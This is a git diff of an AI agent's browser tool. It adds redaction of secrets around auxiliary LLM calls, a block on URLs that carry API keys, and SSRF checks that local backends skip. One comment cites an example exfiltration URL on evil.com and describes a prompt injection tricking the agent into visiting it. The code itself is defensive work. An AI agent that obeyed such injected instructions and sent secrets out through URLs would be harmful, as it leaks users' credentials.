Merge branch 'main' into rewbs/tool-use-charge-to-subscription

This commit is contained in:
Ben Barclay
2026-04-02 11:00:35 +11:00
175 changed files with 18848 additions and 3772 deletions

View File

@@ -238,6 +238,8 @@ _PROVIDER_REGISTRY: Dict[str, type] = {
_cached_cloud_provider: Optional[CloudBrowserProvider] = None
_cloud_provider_resolved = False
_allow_private_urls_resolved = False
_cached_allow_private_urls: Optional[bool] = None
def _get_cloud_provider() -> Optional[CloudBrowserProvider]:
@@ -299,6 +301,44 @@ def _is_local_mode() -> bool:
return _get_cloud_provider() is None
def _is_local_backend() -> bool:
"""Return True when the browser runs locally (no cloud provider).
SSRF protection is only meaningful for cloud backends (Browserbase,
BrowserUse) where the agent could reach internal resources on a remote
machine. For local backends — Camofox, or the built-in headless
Chromium without a cloud provider — the user already has full terminal
and network access on the same machine, so the check adds no security
value.
"""
return _is_camofox_mode() or _get_cloud_provider() is None
def _allow_private_urls() -> bool:
"""Return whether the browser is allowed to navigate to private/internal addresses.
Reads ``config["browser"]["allow_private_urls"]`` once and caches the result
for the process lifetime. Defaults to ``False`` (SSRF protection active).
"""
global _cached_allow_private_urls, _allow_private_urls_resolved
if _allow_private_urls_resolved:
return _cached_allow_private_urls
_allow_private_urls_resolved = True
_cached_allow_private_urls = False # safe default
try:
hermes_home = Path(os.environ.get("HERMES_HOME", Path.home() / ".hermes"))
config_path = hermes_home / "config.yaml"
if config_path.exists():
import yaml
with open(config_path) as f:
cfg = yaml.safe_load(f) or {}
_cached_allow_private_urls = bool(cfg.get("browser", {}).get("allow_private_urls"))
except Exception as e:
logger.debug("Could not read allow_private_urls from config: %s", e)
return _cached_allow_private_urls
def _socket_safe_tmpdir() -> str:
"""Return a short temp directory path suitable for Unix domain sockets.
@@ -1024,6 +1064,13 @@ def _extract_relevant_content(
f"Provide a concise summary focused on interactive elements and key content."
)
# Redact secrets from snapshot before sending to auxiliary LLM.
# Without this, a page displaying env vars or API keys would leak
# secrets to the extraction model before run_agent.py's general
# redaction layer ever sees the tool result.
from agent.redact import redact_sensitive_text
extraction_prompt = redact_sensitive_text(extraction_prompt)
try:
call_kwargs = {
"task": "web_extract",
@@ -1035,7 +1082,9 @@ def _extract_relevant_content(
if model:
call_kwargs["model"] = model
response = call_llm(**call_kwargs)
return (response.choices[0].message.content or "").strip() or _truncate_snapshot(snapshot_text)
extracted = (response.choices[0].message.content or "").strip() or _truncate_snapshot(snapshot_text)
# Redact any secrets the auxiliary LLM may have echoed back.
return redact_sensitive_text(extracted)
except Exception:
return _truncate_snapshot(snapshot_text)
@@ -1072,8 +1121,23 @@ def browser_navigate(url: str, task_id: Optional[str] = None) -> str:
Returns:
JSON string with navigation result (includes stealth features info on first nav)
"""
# SSRF protection — block private/internal addresses before navigating
if not _is_safe_url(url):
# Secret exfiltration protection — block URLs that embed API keys or
# tokens in query parameters. A prompt injection could trick the agent
# into navigating to https://evil.com/steal?key=sk-ant-... to exfil secrets.
from agent.redact import _PREFIX_RE
if _PREFIX_RE.search(url):
return json.dumps({
"success": False,
"error": "Blocked: URL contains what appears to be an API key or token. "
"Secrets must not be sent in URLs.",
})
# SSRF protection — block private/internal addresses before navigating.
# Skipped for local backends (Camofox, headless Chromium without a cloud
# provider) because the agent already has full local network access via
# the terminal tool. Can also be opted out for cloud mode via
# ``browser.allow_private_urls`` in config.
if not _is_local_backend() and not _allow_private_urls() and not _is_safe_url(url):
return json.dumps({
"success": False,
"error": "Blocked: URL targets a private or internal address",
@@ -1115,7 +1179,8 @@ def browser_navigate(url: str, task_id: Optional[str] = None) -> str:
# Post-redirect SSRF check — if the browser followed a redirect to a
# private/internal address, block the result so the model can't read
# internal content via subsequent browser_snapshot calls.
if final_url and final_url != url and not _is_safe_url(final_url):
# Skipped for local backends (same rationale as the pre-nav check).
if not _is_local_backend() and not _allow_private_urls() and final_url and final_url != url and not _is_safe_url(final_url):
# Navigate away to a blank page to prevent snapshot leaks
_run_browser_command(effective_task_id, "open", ["about:blank"], timeout=10)
return json.dumps({
@@ -1711,6 +1776,9 @@ def browser_vision(question: str, annotate: bool = False, task_id: Optional[str]
response = call_llm(**call_kwargs)
analysis = (response.choices[0].message.content or "").strip()
# Redact secrets the vision LLM may have read from the screenshot.
from agent.redact import redact_sensitive_text
analysis = redact_sensitive_text(analysis)
response_data = {
"success": True,
"analysis": analysis or "Vision analysis returned no content.",